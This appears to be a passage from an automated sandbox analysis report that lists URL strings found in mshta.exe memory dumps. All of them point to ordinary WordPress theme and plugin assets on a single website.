Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngbXF
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png&
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.pngL
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png_bg4.jpgtrap.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.pngh
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png~
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2MJ
Source: mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511248837.000000000616D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 0000000A.00000003.363657812.0000000007B12000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.363868686.0000000007B16000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.363508225.0000000007B10000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.520635761.0000000007B17000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.363710782.0000000007B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.
Source: mshta.exe, 0000000A.00000003.381603478.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/Cher
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.313496361.0000000006308000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512354318.0000000006830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 0000000A.00000003.351347893.0000000007808000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.313496361.0000000006308000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.517263161.000000000780C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.351626749.000000000780B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512354318.0000000006830000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.351617577.000000000780A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0C:
Source: mshta.exe, 0000000A.00000003.382274160.000000000C5DA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381385658.000000000C5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0LM
Source: mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0P
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0g
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0t6
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0x
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3uM
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png&c
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngN
Source: mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngr=1.0.0ll.min.js?ver=1
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0l
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4Xt
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4js
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4or
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0LMEM
Source: mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0qt
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512354318.0000000006830000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0.4
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0N
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0S
Source: mshta.exe, 0000000A.00000002.512354318.0000000006830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0ds
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0g
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000002.511248837.000000000616D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0C:
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0Y
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0a
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0hn
Source: mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0r
Source: mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0w
Source: mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.21
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1(
Source: mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.13
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 0000000A.00000003.382274160.000000000C5DA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381385658.000000000C5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1L
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1Y
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1e
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00.9.3
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.01
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0N
